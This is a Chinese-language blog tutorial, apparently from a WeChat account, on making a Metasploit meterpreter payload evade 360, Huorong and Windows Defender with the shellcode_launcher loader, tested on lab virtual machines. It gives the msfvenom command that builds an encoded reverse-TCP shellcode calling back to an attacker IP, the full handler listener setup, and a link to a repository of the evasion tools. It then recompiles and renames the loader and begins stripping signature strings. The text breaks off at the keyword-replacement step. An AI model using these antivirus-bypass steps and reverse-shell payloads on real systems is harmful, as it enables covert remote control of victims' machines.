免杀效果
静态免杀
动态免杀效果(指的是可执行命令)
1. 准备条件
本文中的免杀方式在我写完文章之后,免杀基本已经失效,毕竟是见光死,所以仅供各位师傅参考,内容上如有错误,希望师傅们能够指正!
本文在测试时,发现可免杀最新版火绒
、最新版联网360
、Windows Defender最新版(关闭可疑文件上传)
。
本文工具已打包至我的GitHub
,欢迎多多star
:
https://github.com/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher
当然,如果你访问GitHub不方便,你也可以在本公众号中回复关键字:免杀 直接下载!
1.1 环境准备
攻击机:mac
ip
地址:10.211.55.2
运行msf6
进行测试
免杀软件:shellcode_launcher
https://github.com/clinicallyinane/shellcode_launcher/
测试机1:Windows10
ip地址:10.211.55.3
运行安全防护:360最新版
、Windows Defender最新版
测试机2:Windows7
ip地址:10.211.55.9
运行安全防护:火绒最新版
测试机3:Windows server2019
ip地址:192.168.238.145
运行安全防护:火绒最新版
、Windows Defender最新版
其中,测试机均在虚拟机环境中。
1.2 shellcode知识介绍
shellcode加载器
和shellcode
的通俗比喻:
shellcode加载器
是枪,shellcode
是子弹,二者缺一个都无法使用,所以免杀里面有很多关于二者的爱恨情仇,在这里就不多赘述了。
shellcode_launcher
算是一个很古老的shellcode
加载器,距离今天已经有8年了,在今天2022.01.16
再次试试(2021.06.18
可免杀360
),国内主流杀软对其免杀能力如何:
下载到本地:
在这里要保留该文件。
1.3 生成shellcode
首先用Msfvenom
生成raw
格式的shellcode
,当前使用了shikata_ga_na
编码模块:生成的监听机器为mac
,ip为10.211.55.2
,端口:1234
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234 -f raw -o shellcode.raw
因为当前shellcode
是混淆过的,目前可以过Windows Defender
和国内主流杀软,所以后面将不会对shellcode
进行免杀测试,因为对本文来说没有太大意义,当然仅仅是本文而已!
但是这不代表shellcode
可以过所有av
,在VT
上传之后,可以发现,其实有诸多杀软可以直接识别shikata_ga_nai
编码加密模块特征:
样本链接:https://www.virustotal.com/gui/file/5ee4f74eb9cc7da9fbe61f933739177d9e042dc597da63fe93ec8959f27d3dc8
2. 无杀软的情况测试上线
首先测试下关闭所有杀软的的情况下,测试其能否正常上线:将raw
文件拷贝到Windows10
中,并且关闭所有杀软。
mac
上开启msf
进行监听:
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.211.55.2 LHOST => 10.211.55.2 msf6 exploit(multi/handler) > set LPORT 1234 LPORT => 1234 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.211.55.2:1234
然后执行shellcode_launcher
加载器:
shellcode_launcher.exe -i shellcode.raw
此时mac
收到会话,并且可以正常执行命令:
3. 免杀测试
3.1 360联网测试
对shellcode_launcher
使用360联网查杀
试试:
直接被杀,直接就发现了当前是木马文件,毕竟这是8年前的加载器!
3.2 免杀360
因为shellcode_launcher
项目,作者给的不仅有shellcode_launcher.exe
,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下:
使用vs2012
打开(这部分可百度如何安装vs2012
)作者的源代码文件:
在这里不做任何的修改,直接编译文件:
文件编译为shellcode_launcher.exe
成功,先看下:
这里将两个文件都修改下名字:
shellcode
加载器:
crow_test_av.exe
shellcode
:crow_test_av.raw
在没有进行360联网查杀
的情况下直接进行测试:
在这里看到,可以过360
,而且可以执行命令,在这里我就不主动进行360联网查杀
了,如果联网查杀的话,就会导致木马样本上传,几分钟之后就会被杀!!!
在这里放一张早期2021.06.18
测试的图:
3.3 火绒联网测试
在GitHub上直接下载的shellcode_launcher.exe
,复制进来之后直接被秒杀:
如果直接被杀,那将刚刚手动编译过360
的木马拿过来试试:复制进行之后,直接又被秒杀!!!
3.4 思考
一般情况下,bypass
火绒的方法是比较容易的,因为火绒主要是静态免杀(这里不绝对),所以在这里过了360
的没过火绒的话,应该是文件里面的某些关键字命中了火绒的黑名单。那在这里可以简单的分析下:
使用strings
来提取crow_test_av.exe
中的字符,命令:
strings.exe crow_test_av.exe > 0115.txt
分析提取字符串的文件,该文件的内容较多,但是在这里面出现了shellcode_launcher.exe
关键字,而且在源代码中也出现了该关键字:提取字符串:
源代码:
但是在这里关键字实在太多了,短时间内可能无法不太好进行测试,因此在这里将当前的cpp
代码直接复制一份到火绒环境中去:
复制进行之后,发现当前文件没有被杀:
修改后缀为exe
之后,也没有被杀:
那在这里可能暂时没有好的方法,只能够直接对作者的源代码进行修改。
3.5 免杀火绒
在当前环境中,使用如下方式进行替换关键字: